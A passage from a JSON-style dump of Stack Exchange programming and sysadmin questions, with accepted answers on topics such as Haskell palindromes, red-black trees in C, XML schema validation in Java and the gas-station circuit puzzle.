simplest case: $(a;a)$. For this string derivation sequence will be:$S\\Rightarrow CIX\\Rightarrow D(W;W)X\\Rightarrow C(a;a)X\\Rightarrow D(a;a)X\\Rightarrow (La;a)X\\Rightarrow (aL_aL;a)X\\Rightarrow (aL_a;Ra)X\\Rightarrow (a;L_aRa)X\\Rightarrow (a;L_a aR_aR)X\\Rightarrow (a;aL_aR_aR)X\\Rightarrow (a;aL_aR_a)X\\Rightarrow (a;aL_a)R_aX\\Rightarrow (a;a)L_aR_aX\\Rightarrow (a;a)L_aXa\\Rightarrow (a;a)aXa\\Rightarrow (a;a)aZa\\Rightarrow (a;a)Z\\Rightarrow (a;a)$"  } 
{  "id": "_webmaster.18942"  , "question": "I get the folder with the following structure from my designer*:file.css images/Is there any tool which can automatically create sprite from images folder and replace all images references from file.css to appropriate sprite section?*It is actually not a designer (the man who creates design in, for example, Photoshop) but the man who makes html+css from it. How is this profession correctly called in English?"  , "title": "Create sprites automatically"  , "tags": "css;sprite"  } 
{  "id": "_softwareengineering.232301"  , "question": "I have been puzzled lately by an intruiging idea.I wonder if there is a (known) method to extract the executed source code from a large complex algorithm. I will try to elaborate this question:Scenario: There is this complex algorithm where a large amount of people have worked on for many years. The algorithm creates measurement descriptions for a complex measurement device.The input for the algorithm is a large set of input parameters, lets call this the recipe. Based on this recipe, the algorithm is executed, and the recipe determines which functions, loops and if-then-else constructions are followed within the algorithm. When the algorithm is finished, a set of calculated measurement parameters will form the output. And with these output measurement parameters the device can perform it's measurement.Now, there is a problem. Since the algorithm has become so complex and large over time, it is very very difficult to find your way in the algorithm when you want to add new functionality for the recipes. Basically a person wants to modify only the functions and code blocks that are affected by its recipe, but he/she has to dig in the whole algorithm and analyze the code to see which code is relevant for his or her recipe, and only after that process new functionality can be added in the right place. Even for simple additions, people tend to get lost in the huge amount of complex code.Solution: Extract the active code path? I have been brainstorming on this problem, and I think it would be great if there was a way to process the algorithm with the input parameters (the recipe), and to only extract the active functions and codeblocks into a new set of source files or code structure. I'm actually talking about extracting real source code here.When the active code is extracted and isolated, this will result in a subset of source code that is only a fraction of the original source code structure, and it will be much easier for the person to analyze the code, understand the code, and make his or her modifications. Eventually the changes could be merged back to the original source code of the algorithm, or maybe the modified extracted source code can also be executed on it's own, as if it is a 'lite' version of the original algorithm.Extra information: We are talking about an algorithm with C and C++ code, about 200 files, and maybe 100K lines of code. The code is compiled and build with a custom Visual Studio based build environment.So...: I really don't know if this idea is just naive and stupid, or if it is feasible with the right amount of software engineering. I can imagine that there have been more similar situations in the world of software engineering, but I just don't know.I have quite some experience with software engineering, but definitely not on the level of designing large and complex systems.I would appreciate any kind of answer, suggestion or comment.Thanks in advance!"  , "title": "How to extract the active code path from a complex algorithm"  , "tags": "c++;algorithms;c"  } 
{  "id": "_unix.312362"  , "question": "I have a WeeChat version 1.5 installed on Debian 8.5 with irc.server.freenode.ipv6 option set to on:10:57:15  weechat     | [server] (irc.conf)10:57:15  weechat     |   irc.server.freenode.ipv6 = on  (default: (undefined))10:57:15  weechat     | 10:57:15  weechat     | 1 option (matching with irc.server.freenode.ipv6)This should force WeeChat to prefer IPv6 over IPv4. irc.freenode.net has IPv6 AAAA records present:$ dig @8.8.8.8 -t AAAA irc.freenode.net +noall +shortchat.freenode.net.2a00:1a28:1100:11::422a01:270:0:666f::12a01:7e00::f03c:91ff:fee2:413b2001:6b0:e:2a18::118$ ..and for example I'm able to ping irc.freenode.net over IPv6:$ ping6 -nc 4 irc.freenode.netPING irc.freenode.net(2001:5a0:3604:1:64:86:243:181) 56 data bytes64 bytes from 2001:5a0:3604:1:64:86:243:181: icmp_seq=1 ttl=51 time=141 ms64 bytes from 2001:5a0:3604:1:64:86:243:181: icmp_seq=2 ttl=51 time=141 ms64 bytes from 2001:5a0:3604:1:64:86:243:181: icmp_seq=3 ttl=51 time=142 ms64 bytes from 2001:5a0:3604:1:64:86:243:181: icmp_seq=4 ttl=51 time=142 ms--- irc.freenode.net ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3004msrtt min/avg/max/mdev = 141.567/141.903/142.081/0.431 ms$ However, when I try to connect to irc.freenode.net in WeeChat, then IPv6 is not even tried (checked with tcpdump). Even if I reject connections on IPv4 to TCP port 6667, then IPv6 is not tried.I assume that the problem is not with the WeeChat (I even tried with different versions). Any ideas, what might cause such behavior?"  , "title": "WeeChat does not use IPv6"  , "tags": "debian;ipv6;weechat"  , "accepted_answer": "Could you please try with weechat 1.6-rc2 (current devel version)?I fixed a bug with host address during connection to servers.By the way, version 1.6 is scheduled in 2 days."  } 
{  "id": "_codereview.64798"  , "question": "I am learning Haskell and I am doing 99 Haskell problems. There is a problem to check if a list if a palindrome. It's obvious solution isisPalindrome x = x == reverse xThere are several other solutions with some kind of reverse. All of them use two passes -- one for building reverse list and one more for ==. I wanted to write a single pass palindrome check.walk :: (Eq a) => [a] -> Int -> Either (Either Int [a]) Boolwalk (x:xs) n = case walk xs (n + 1) of    Left (Left back) | (back + 1) == n -> Left (Right xs)                     | back == n -> let (y:ys) = xs in if y == x then (if null ys then Right True else Left (Right ys)) else Right False                     | otherwise -> Left (Left (back + 1))    Left (Right (y:ys)) -> if y == x then (if n > 0 then Left (Right ys) else Right True) else Right False    Left (Right []) -> error Impossible    Right ans -> Right answalk [] _ = Left (Left (-1))isPalindrome :: (Eq a) => [a] -> Bool-- isPalindrome x = x == reverse xisPalindrome [] = TrueisPalindrome [_] = TrueisPalindrome x = ans where (Right ans) = walk x 0This looks quite ugly. Is there a better way to check if a string is a palindrome using only one pass? Is it worth trying to write a single pass check?"  , "title": "Palindrome check in Haskell"  , "tags": "haskell;palindrome"  , "accepted_answer": "From the readability point of view, I'd suggest to keep some maximum line length, like 72 or 80 characters. Beyond that it's difficult to read. Also instead of having Either (Either X Y) Z, declare your own data type with 3 constructors. Not only it'll be simpler, but the constructor names will also be more descriptive and it'll be easier to understand what's going on. You should also document the function better, it's not clear what the Int argument is without thoroughly inspecting the code. A small improvement is also replacing nested ifs with a case statement.In general, I'd say that it's not really possible to make a genuine single-pass solution.Obviously we can't avoid checking the last element, if the list is a palindrome, and we need to have the first element to compare it to. So we'll always have to either get to the last element at the beginning, or keep the elements as we traverse the list, to have them for comparison when we get to the end,  So we can't get to the situation when we just traverse the list from the beginning to the end, releasing the elements already traversed.In your case, you're also traversing the list twice, although it's somewhat hidden. The first pass is the recursive call to walk, which gets to the end of the list. And the second traversal is occurring in the lineLeft (Right (y:ys)) -> if y == x then                            (if n > 0 then Left (Right ys) else Right True)                          else Right Falsewhere we're traversing ys as walk returns to its parent call.(The above nested ifs can be rewritten as  ... -> case () of           _ | y /= x    -> Right False             | n > 0     -> Left (Right ys)             | otherwise -> Right Trueusing case.)Furthermore, since walk calls itself recursively and examines the result of the recursive call, it can't be optimized to tail recursion, so you're building a chain of n calls on the stack.Another thing to notice is that the whole original list is kept in memory until the whole chain of walks finishes.My attempt to solve this problem would look like this:isPal' :: (Eq a) => [a] -> BoolisPal' xs = f [] xs xs  where    f ss xs []              = ss == xs    f ss (_:xs) [_]         = ss == xs    f ss (x:xs) (_:_:es)    = f (x:ss) xs esWe're traversing the list at two different speeds at the same time in a tail-recursive loop, to get to the middle. During that we compute the reverse of the traversed part in ss. When we hit the middle after n/2 steps, we just compare the accumulated reversed first half with the rest. The combined length of ss and xs is always n and if we find out in the middle a difference, like in aaabcaaa, we finish and release resources early.Since all suggested algorithms are O(n), it's hard to decide which one will be more efficient just by reasoning. We'd have to do some measurements, for example using the criterion package.Update: The problem could be actually solved in a genuine one pass using a rolling checksum, at the cost of having false positives in (rare) cases of hash collisions. Just compute two rolling checksums while traversing the list, one forwards and one backwards, and compare them at the end.  import Control.Arrow ((&&&), second) import Data.Foldable (foldMap) import Data.Function (on) import Data.Hashable import Data.Monoid import Data.Word  -- see https://en.wikipedia.org/wiki/Rolling_hash -- and https://en.wikipedia.org/wiki/Lehmer_random_number_generator#Parameters_in_common_use modulus :: Word64 modulus = 2^31 - 1  expG :: Word64 expG = 7^5  data RKHash = RKHash { rkExp :: Word64, rkVal :: Word64 }   deriving (Eq, Show)  inject :: (Hashable a) => a -> RKHash inject = RKHash expG . (`mod` modulus) . fromIntegral . hash  instance Monoid RKHash where     mempty = RKHash 1 0     mappend (RKHash e1 v1) (RKHash e2 v2) =         RKHash ((e1 * e2) `mod` modulus) ((v1 * e2 + v2) `mod` modulus)   isPalindrome :: (Hashable a) => [a] -> Bool isPalindrome = uncurry (on (==) rkVal) . second getDual                . foldMap ((id &&& Dual) . inject)"  } 
{  "id": "_webapps.1987"  , "question": "Gmail really likes to make contacts for me and stick them in my All Contacts list. I'd much rather manage my contacts myself and only add people when I want to specifically do so. (Actually, I wouldn't mind if they managed the list automatically except that oftentimes I get contacts made from mailing lists and sometimes the names are wrong, which is inconvenient.)How can I make it so that my contacts list is neither obnoxiously long nor badly spelled and punctuated?"  , "title": "Stop Gmail from automatically creating contacts"  , "tags": "gmail;google contacts"  , "accepted_answer": "The previously-posted answers are no longer correct.On the General tab under Settings is Create contacts for auto-complete:When I send a message to a new person, add them to Other Contacts so that I can auto-complete to them next timeI'll add contacts myselfScreen shot:The second option will prevent Gmail from auto-creating contacts for you.This was one of many features announced in April, 2011."  } 
{  "id": "_codereview.68461"  , "question": "I would like some feedback on my red black tree implementation. Anything is fine. I've debugged this and it seems to be working fine, however I may have missed something.Basically, this is a red black tree that stores character strings as keys and the passage that contains those strings as values. Since these keys are able to be repeated, they form a linked list as well.    TNODE *tree_add(TNODE *root, const KEY k, const VALUE v) {        LNODE *lnode = NULL;        if (root == NULL) {                TNODE *node = talloc(k);                lnode = lalloc(v);                node->head = lnode;                node->tail = lnode;                node->is_red = true;                return node;        }        if (strcmp(k, root->key) < 0) {                 root->left = tree_add(root->left, k, v);        } else if (strcmp(k, root->key) > 0) {                  root->right = tree_add(root->right, k, v);        } else {                if (strcmp(k, root->key) == 0) {                        lnode = lalloc(v);                        root->tail->next = lnode;                        root->tail = lnode;                        root->tail->next = NULL;                }        }        if (is_red(root->right) && !is_red(root->left)) {                root = rotate_left(root);        }        if (is_red(root->left) && is_red(root->left->left)) {                root = rotate_right(root);        }        if (is_red(root->left) && is_red(root->right)) {                flip_colors(root);        }        return root;}Here are TNODE and LNODE:     // LNODE is the data structure for a singly linked list.typedef struct lnode {  VALUE val;          // A pointer to the value stored in the linked list.  struct lnode *next; // Pointer to the next item in the list; it should be NULL if there is no successor.} LNODE;typedef struct tnode {  KEY key;             // Search key for this binary search tree node.  struct tnode *right; // Right child.  struct tnode *left;  // Left child.  LNODE *head; // Head of the linked list storing the values for the search key.  LNODE *tail; // Tail of the linked list storing the values for the search key.  bool is_red; // Flag use only in red-black trees to denote redness.} TNODE;Here are some more functions: TALLOC, LALLOC, and rotate    TNODE *talloc(const KEY k) {        TNODE *tnode = malloc(sizeof(TNODE));        if (tnode == NULL) {                return NULL;        }        tnode->key = k;        tnode->is_red = false;        tnode->head = NULL;        tnode->tail = NULL;        tnode->right = NULL;        tnode->left = NULL;        return tnode;}LNODE *lalloc(const VALUE v) {        LNODE *lnode = malloc(sizeof(LNODE));        if (lnode == NULL) {                return NULL;        }        lnode->val = v;        lnode->next = NULL;        return lnode;}TNODE *rotate_left(TNODE *h) {         TNODE *x = h->right;        h->right = x->left;        x->left = h;        x->is_red = h->is_red;        h->is_red = true;        return x;}TNODE *rotate_right(TNODE *h) {         TNODE *x = h->left;        h->left = x->right;        x->right = h;        x->is_red = h->is_red;        h->is_red = true;        return x;}void flip_colors(TNODE *h) {         h->is_red = true;        h->left->is_red = false;        h->right->is_red = false;}"  , "title": "Red Black Tree Implementation"  , "tags": "c;tree"  , "accepted_answer": "Implementation Issue:I would call strcmp(k, root->key) once:int cmpval;if (root == NULL){    ...}else{    cmpval = strcmp(k, root->key);    if (cmpval < 0)    {        ...    }    else if (cmpval > 0)    {        ...    }    else // if (cmpval == 0)    {        ...    }}Design Issue:The use of strcmp essentially couples the KEY type with a null-terminated string type.You should try to decouple them in order to allow the user to easily change the KEY type.One way to do it is by implementing a comparison function alongside the KEY type:typedef char* KEY;int compare(const KEY key1,const KEY key2){    return strcmp(key1,key2);}Of course, this does not really decouple KEY from char*, but at least it lets the user know that changing the KEY type must be followed by changing the implementation of the compare function.There is probably a design-pattern specifically for the case at hand..."  } 
{  "id": "_unix.375512"  , "question": "enabling syncookies is  helping against some attacksbut the official docs still say syncookies seriously violate TCP protocol, do not allow    to use TCP extensionsToday I discover that once upon a time in the kernel development syncookies were extended to handle also Timestamp, ECN, SACK, WScaleSohow can I find from which kernel version ?enabling syncookies and also Timestamp, ECN, SACK, WScale : how do other operating systems behave ?"  , "title": "syncookies and tcp options"  , "tags": "linux;tcp ip"  } 
{  "id": "_codereview.62678"  , "question": "BackgroundAs this related question describes, there does not appear to be a canonical way to validate XML files against an XSD then subsequently transform them using an XSL template with file paths determined from a catalog resolver.The XSL templates can be XSLT 1.0 or XSLT 2.0, the latter requiring Saxon9HE.ProblemThe given answer works, but has a number of issues that are undesirable, including:Using an XMLCatalogResolver and a CatalogResolver.Creating an XML catalog resolver instance using the catalog resolver instance.Traversing a DOM to determine the XSD URI.Creating a SchemaFactory to perform the validation.Calling the XML catalog resolver instance to find the local XSD file path.Passing the catalog resolver instance to the XSL transformer instance.It seems like those aspects of the code should be handled by existing APIs, especially the contortions required to extract the XSD URI from the DOM.SourceA repository exists that contains the entire example, complete with catalog files, schema definitions, and XML tests. The main source file that has the problems noted above follows:package src;import java.io.*;import java.net.URI;import java.util.*;import java.util.regex.Pattern;import java.util.regex.Matcher;import javax.xml.parsers.*;import javax.xml.xpath.*;import javax.xml.XMLConstants;import org.w3c.dom.*;import org.xml.sax.*;import org.apache.xml.resolver.tools.CatalogResolver;import org.apache.xerces.util.XMLCatalogResolver;import static org.apache.xerces.jaxp.JAXPConstants.JAXP_SCHEMA_LANGUAGE;import static org.apache.xerces.jaxp.JAXPConstants.W3C_XML_SCHEMA;import javax.xml.validation.SchemaFactory;import javax.xml.validation.Schema;import javax.xml.validation.Validator;import javax.xml.transform.Result;import javax.xml.transform.Source;import javax.xml.transform.Transformer;import javax.xml.transform.TransformerFactory;import javax.xml.transform.dom.DOMSource;import javax.xml.transform.sax.SAXSource;import javax.xml.transform.stream.StreamResult;import javax.xml.transform.stream.StreamSource;/** * Download http://xerces.apache.org/xml-commons/components/resolver/CatalogManager.properties */public class TestXSD {  private final static String ENTITY_RESOLVER =    http://apache.org/xml/properties/internal/entity-resolver;  /**   * This program reads an XML file, performs validation, reads an XSL   * file, transforms the input XML, and then writes the transformed document   * to standard output.   *   * args[0] - The XSL file used to transform the XML file   * args[1] - The XML file to transform using the XSL file   */  public static void main( String args[] ) throws Exception {    // For validation error messages.    ErrorHandler errorHandler = new DocumentErrorHandler();     // Read the CatalogManager.properties file.    CatalogResolver resolver = new CatalogResolver();    XMLCatalogResolver xmlResolver = createXMLCatalogResolver( resolver );    logDebug( READ XML INPUT SOURCE );    // Load an XML document in preparation to transform it.    InputSource xmlInput = new InputSource( new InputStreamReader(      new FileInputStream( args[1] ) ) );    DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();    dbFactory.setAttribute( JAXP_SCHEMA_LANGUAGE, W3C_XML_SCHEMA );    dbFactory.setNamespaceAware( true );    DocumentBuilder builder = dbFactory.newDocumentBuilder();    builder.setEntityResolver( xmlResolver );    builder.setErrorHandler( errorHandler );    logDebug( PARSE XML INTO DOCUMENT MODEL );    Document xmlDocument = builder.parse( xmlInput );    logDebug( CONVERT XML DOCUMENT MODEL INTO DOMSOURCE );    DOMSource xml = new DOMSource( xmlDocument );    logDebug( GET XML SCHEMA DEFINITION );    String schemaURI = getSchemaURI( xmlDocument );    logDebug( SCHEMA URI:  + schemaURI );    if( schemaURI != null ) {      logDebug( CREATE SCHEMA FACTORY );      // Create a Schema factory to obtain a Schema for XML validation...      SchemaFactory sFactory = SchemaFactory.newInstance( W3C_XML_SCHEMA );      sFactory.setResourceResolver( xmlResolver );      logDebug( CREATE XSD INPUT SOURCE );      String xsdFileURI = xmlResolver.resolveURI( schemaURI );      logDebug( CREATE INPUT SOURCE XSD FROM:  + xsdFileURI );      InputSource xsd = new InputSource(        new FileInputStream( new File( new URI( xsdFileURI ) ) ) );      logDebug( CREATE SCHEMA OBJECT FOR XSD );      Schema schema = sFactory.newSchema( new SAXSource( xsd ) );      logDebug( CREATE VALIDATOR FOR SCHEMA );      Validator validator = schema.newValidator();      logDebug( VALIDATE XML AGAINST XSD );      validator.validate( xml );    }    logDebug( READ XSL INPUT SOURCE );    // Load an XSL template for transforming XML documents.    InputSource xslInput = new InputSource( new InputStreamReader(      new FileInputStream( args[0] ) ) );    logDebug( PARSE XSL INTO DOCUMENT MODEL );    Document xslDocument = builder.parse( xslInput );    transform( xmlDocument, xslDocument, resolver );    System.out.println();  }  private static void transform(    Document xml, Document xsl, CatalogResolver resolver ) throws Exception  {    if( versionAtLeast( xsl, 2 ) ) {      useXSLT2Transformer();    }    logDebug( CREATE TRANSFORMER FACTORY );    // Create the transformer used for the document.    TransformerFactory tFactory = TransformerFactory.newInstance();    tFactory.setURIResolver( resolver );    logDebug( CREATE TRANSFORMER FROM XSL );    Transformer transformer = tFactory.newTransformer( new DOMSource( xsl ) );    logDebug( CREATE RESULT OUTPUT STREAM );    // This enables writing the results to standard output.    Result out = new StreamResult( new OutputStreamWriter( System.out ) );    logDebug( TRANSFORM THE XML AND WRITE TO STDOUT );    // Transform the document using a given stylesheet.    transformer.transform( new DOMSource( xml ), out );  }  /**   * Answers whether the given XSL document version is greater than or   * equal to the given required version number.   *   * @param xsl The XSL document to check for version compatibility.   * @param version The version number to compare against.   *   * @return true iff the XSL document version is greater than or equal   * to the version parameter.   */  private static boolean versionAtLeast( Document xsl, float version ) {    Element root = xsl.getDocumentElement();    float docVersion = Float.parseFloat( root.getAttribute( version ) );    return docVersion >= version;  }  /**   * Enables Saxon9's XSLT2 transformer for XSLT2 files.   */  private static void useXSLT2Transformer() {    System.setProperty(javax.xml.transform.TransformerFactory,      net.sf.saxon.TransformerFactoryImpl);  }  /**   * Creates an XMLCatalogResolver based on the file names found in   * the given CatalogResolver. The resulting XMLCatalogResolver will   * contain the absolute path to all the files known to the given   * CatalogResolver.   *   * @param resolver The CatalogResolver to examine for catalog file names.   * @return An XMLCatalogResolver instance with the same number of catalog   * files as found in the given CatalogResolver.   */  private static XMLCatalogResolver createXMLCatalogResolver(    CatalogResolver resolver ) {    int index = 0;    List files = resolver.getCatalog().getCatalogManager().getCatalogFiles();    String catalogs[] = new String[ files.size() ];    XMLCatalogResolver xmlResolver = new XMLCatalogResolver();    for( Object file : files ) {      catalogs[ index ] = (new File( file.toString() )).getAbsolutePath();      index++;    }    xmlResolver.setCatalogList( catalogs );    return xmlResolver;  }  private static String[] parseNameValue( String nv ) {    Pattern p = Pattern.compile( \\\\s*(\\\\w+)=\\([^\\]*)\\\\\\s* );    Matcher m = p.matcher( nv );    String result[] = new String[2];    if( m.find() ) {      result[0] = m.group(1);      result[1] = m.group(2);    }    return result;  }  /**   * Retrieves the XML schema definition using an XSD.   *   * @param node The document (or child node) to traverse seeking processing   * instruction nodes.   * @return null if no XSD is present in the XML document.   * @throws IOException Never thrown (uses StringReader).   */  private static String getSchemaURI( Node node ) throws IOException {    String result = null;    if( node.getNodeType() == Node.PROCESSING_INSTRUCTION_NODE ) {      ProcessingInstruction pi = (ProcessingInstruction)node;      logDebug( NODE IS PROCESSING INSTRUCTION );      if( xml-model.equals( pi.getNodeName() ) ) {        logDebug( PI IS XML MODEL );        // Hack to get the attributes.        String data = pi.getData();        if( data != null ) {          final String attributes[] = pi.getData().trim().split( \\\\s+ );          String type = parseNameValue( attributes[0] )[1];          String href = parseNameValue( attributes[1] )[1];          // TODO: Schema should = http://www.w3.org/2001/XMLSchema          //String schema = attributes.getNamedItem( schematypens );          if( application/xml.equalsIgnoreCase( type ) && href != null ) {            result = href;          }        }      }    }    else {      // Try to get the schema type information.      NamedNodeMap attrs = node.getAttributes();      if( attrs != null ) {        // TypeInfo.toString() returns values of the form:        // schemaLocation=uri schemaURI        // The following loop extracts the schema URI.        for( int i = 0; i < attrs.getLength(); i++ ) {          Attr attribute = (Attr)attrs.item( i );          TypeInfo typeInfo = attribute.getSchemaTypeInfo();          String attr[] = parseNameValue( typeInfo.toString() );          if( schemaLocation.equalsIgnoreCase( attr[0] ) ) {            result = attr[1].split( \\\\s )[1];            break;          }        }      }      // Look deeper for the schema URI.      if( result == null ) {        NodeList list = node.getChildNodes();        for( int i = 0; i < list.getLength(); i++ ) {          result = getSchemaURI( list.item( i ) );          if( result != null ) {            break;          }        }      }    }    return result;  }  /**   * Writes a message to standard output.   */  private static void logDebug( String s ) {    System.out.println( s );  }}The most problematic parts of the code are the:getSchemaURI method; andif( schemaURI != null ) { ... } code block.I think that they are redundant and brittle, but do not know what mechanisms are available to avoid having to manually parse and validate against an XSD whose file path is looked up using an XML catalog.QuestionWithout directly involving SAX, how do you use a catalog resolver to both validate XML files using an XSD and transform documents (in DOM) whose XSL file paths are specified in the catalog?Relatedhttp://xerces.apache.org/xerces2-j/faq-xcatalogs.htmlhttp://xerces.apache.org/xml-commons/components/resolver/resolver-article.htmlhttp://www.xml.com/pub/a/2004/03/03/catalogs.htmlhttp://saxonica.com/documentation/sourcedocs/xml-catalogs.html"  , "title": "Validate XML using XSD, a Catalog Resolver, and JAXP DOM for XSLT"  , "tags": "java;xml;dom;xslt;xsd"  , "accepted_answer": "  /**   * Retrieves the XML schema definition using an XSD.   *   * @param node The document (or child node) to traverse seeking processing   * instruction nodes.   * @return null if no XSD is present in the XML document.   * @throws IOException Never thrown (uses StringReader).   */  private static String getSchemaURI( Node node ) throws IOException {    String result = null;    if( node.getNodeType() == Node.PROCESSING_INSTRUCTION_NODE ) {      ProcessingInstruction pi = (ProcessingInstruction)node;      logDebug( NODE IS PROCESSING INSTRUCTION );      if( xml-model.equals( pi.getNodeName() ) ) {        logDebug( PI IS XML MODEL );        // Hack to get the attributes.        String data = pi.getData();        if( data != null ) {          final String attributes[] = pi.getData().trim().split( \\\\s+ );          String type = parseNameValue( attributes[0] )[1];          String href = parseNameValue( attributes[1] )[1];          // TODO: Schema should = http://www.w3.org/2001/XMLSchema          //String schema = attributes.getNamedItem( schematypens );          if( application/xml.equalsIgnoreCase( type ) && href != null ) {            result = href;          }        }      }    }    else {      // Try to get the schema type information.      NamedNodeMap attrs = node.getAttributes();      if( attrs != null ) {        // TypeInfo.toString() returns values of the form:        // schemaLocation=uri schemaURI        // The following loop extracts the schema URI.        for( int i = 0; i < attrs.getLength(); i++ ) {          Attr attribute = (Attr)attrs.item( i );          TypeInfo typeInfo = attribute.getSchemaTypeInfo();          String attr[] = parseNameValue( typeInfo.toString() );          if( schemaLocation.equalsIgnoreCase( attr[0] ) ) {            result = attr[1].split( \\\\s )[1];            break;          }        }      }      // Look deeper for the schema URI.      if( result == null ) {        NodeList list = node.getChildNodes();        for( int i = 0; i < list.getLength(); i++ ) {          result = getSchemaURI( list.item( i ) );          if( result != null ) {            break;          }        }      }    }    return result;  }First off: The combination of 2-space tabs and new lines for elses on if-else statements is making it hard to read for me.Now, I don't have a solution for your main problems. I think you'll have to ask somewhere else for that; I can't help you refactor out huge parts of your program just like that. All I can do is review the code as it is based on my knowledge in Java.I believe this method suffers because you try to validate everything before deciding whether you're going to use it.        // Hack to get the attributes.        String data = pi.getData();        if( data != null ) {          final String attributes[] = pi.getData().trim().split( \\\\s+ );data has no other uses. So why not do           final String attributes[] = data.trim().split( \\\\s+ );instead?          final String attributes[] = pi.getData().trim().split( \\\\s+ );          String type = parseNameValue( attributes[0] )[1];          String href = parseNameValue( attributes[1] )[1];          // TODO: Schema should = http://www.w3.org/2001/XMLSchema          //String schema = attributes.getNamedItem( schematypens );          if( application/xml.equalsIgnoreCase( type ) && href != null ) {            result = href;          }After this bit of code, you return result. There's an else block, but it's not executed if this snippet of code is reached.In that light, there's no other uses for type and href in this function. Additionally, result was null to begin with.So all that's actually relevant is to do this:           final String attributes[] = pi.getData().trim().split( \\\\s+ );          String type = parseNameValue( attributes[0] )[1];          // TODO: Schema should = http://www.w3.org/2001/XMLSchema          //String schema = attributes.getNamedItem( schematypens );          if( application/xml.equalsIgnoreCase( type )) {            result = parseNameValue( attributes[1] )[1]; //href          }Validating whether href is null is not needed since you're just setting null to null otherwise anyway.I also feel this function should be split in three:One function for ProcessingInstruction nodes.One function for determining SchemaURI from node.getAttributes()and one function for determining SchemaURI from node.getChildNodes().This will get rid of the deep nesting of statements you have here and make it easier to understand your code."  } 
{  "id": "_softwareengineering.119827"  , "question": "I got this question in an interview and I was not able to solve it.You have a circular road, with N number of gas stations.You know the amount of gas that each station has.You know the amount of gas you need to GO from one station to the next one.Your car starts with 0.You can only drive clockwise.The question is: Create an algorithm, to know from which gas station you must start driving so that you complete a full circle.As an exercise to me, I would translate the algorithm to C#."  , "title": "Can anyone help solve this complex algorithmic problem?"  , "tags": "c#;algorithms"  , "accepted_answer": "(Update: now allows a gas tank size maximum)You can solve this in linear time as follows:void FindStartingPoint(int[] gasOnStation, int[] gasDrivingCosts, int gasTankSize){  // Assume gasOnStation.length == gasDrivingCosts.length  int n = gasOnStation.length;  // Make a round, without actually caring how much gas we have.  int minI = 0;  int minEndValue = 0;  int gasValue = 0;  for (int i = 0; i < n; i++)  {    if (gasValue < minEndValue)    {      minI = i;      minEndValue = gasValue;    }    gasValue = gasValue + gasOnStation[i] - gasDrivingCosts[i];  }  if (gasValue < 0)  {    Console.WriteLine(Instance does not have a solution: not enough fuel to make a round.);  }  else  {    // Try a round.    int gas = DoLeg(0, minI, gasTankSize);    if (gas < 0)    {      Console.WriteLine(Instance does not have a solution: our tank size is holding us back.);      return;    }    for (int i = (minI + 1) % n; i != minI; i = (i + 1) % n)    {      gas = DoLeg(gas, i, gasTankSize);      if (gas < 0)      {        Console.WriteLine(Instance does not have a solution: our tank size is holding us back.);        return;      }    }    Console.WriteLine(Start at station:  + minI);  }}int DoLeg(int gas, int i, int gasTankSize){  gas += gasOnStation[i];  if (gas > gasTankSize) gas = gasTankSize;  gas -= gasDrivingCosts[i];  return gas;}First, we look at the case where we don't have a gas tank with a maximum.Essentially, in the first for-loop, we just drive the circle around, not caring if our fuel tank has negative fuel or not. The point of this is that no matter where you start, the difference between how much there is in your fuel tank at the start (0) and at the end is the same.Therefore, if we end up with less fuel than we started (so less than 0), this will happen no matter where we start, and so we can't go a full circle.If we end up with at least as much fuel as we started after going a full circle, then we search for the moment our fuel tank was at its lowest point (which is always just as we get to a gas station). If we start at this point, we will never end up with less fuel than at this point (because it is the lowest point and because we don't lose fuel if we drive a circle).Therefore, this point is a valid solution, and in particular, there always is such a point.Now we'll look at the version where our gas tank can hold only so much gas.Suppose our initial test (described above) we found out it is not impossible to go the entire circle. Suppose that we start at gas station i, we tank at gas station j, but our gas tank ends up being full, so we miss out on some extra gas the station has available. Then, before we get to station k, we end up not having enough fuel, because of the gas we missed out on.We claim that in this scenario, this will end up happening no matter where you start. Suppose we start at station l.If l is between j and k, then we either stop (long) before we can get to station k because we started at a bad station, or we'll always have at most the amount of fuel that we had when we started at i when we try to get to k, because we passed through the same stations (and our tank was full when we passed j). Either case is bad.If l is not between j and k, then we either stop (long) before we get to j, or we arrive at j with at most a full tank, which means that we won't make it to k either. Either case is bad.This means that if we make a round starting at a lowest point just like in the case with the infinitely large gas tank, then we either succeed, or we fail because our gas tank was too small, but that means that we will fail no matter which station we pick first, which means that the instance has no solution."  } 
{  "id": "_cstheory.36258"  , "question": "I was wondering if there exists a brute force search algorithm for semidefinite programming problems. Specifically, can we find finite number of points in the positive semidefinite cone such that for any objective, we can get a good approximation by searching over these finite points?In a linear program, the answer is positive; we can search over all the vertices of the constraint, which is a convex polytope. This question is closely related to the representation of a spectrahedron, which is the intersection of the PSD cone with planes or half-spaces. Specifically, if the spectrahedron is finite representable, then we can search the values of the objective over the basis of the representations."  , "title": "Brute force search algorithm for semidefinite programming (representation of spectrahedron)"  , "tags": "approximation algorithms;linear programming;convex optimization;integer programming;semidefinite programming"  } 
{  "id": "_softwareengineering.272586"  , "question": "In an agile software development team, who would be the one to fix the bugs introduced in an update? The developer who writes the feature?Someone else specialized specifically in debugging with a certain title?The best developer in the team?  "  , "title": "Who fixes bugs in a team?"  , "tags": "debugging;maintenance;bug"  } 
{  "id": "_codereview.39493"  , "question": "I would like to get some feedback on my code. I am starting to program after doing a few online Python courses.Would you be able to help me by following my track of thinking and then pinpointing where I could be more efficient? (I have seen other answers but they seem to be more complicated than they need to be, albeit shorter; but perhaps that is the point).Question:Each new term in the Fibonacci sequence is generated by adding the  previous two terms. By starting with 1 and 2, the first 10 terms will  be:1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ...By considering the terms in the Fibonacci sequence whose values do not  exceed four million, find the sum of the even-valued terms.fibValue = 0valuesList = []a = 0b = 1#create listwhile fibValue <= 4000000:    fibValue = a + b    if fibValue % 2 == 0:        valuesList.append(fibValue)    a = b    b = fibValueprint (valuesList) #just so that I can see what my list looks like after fully compiledprint() #added for command line neatnessprint() #added for command line neatnessnewTot = 0for i in valuesList:    newTot += iprint (newTot)"  , "title": "More efficient solution for Project Euler #2 (sum of Fibonacci numbers under 4 million)"  , "tags": "python;project euler;fibonacci sequence"  } 
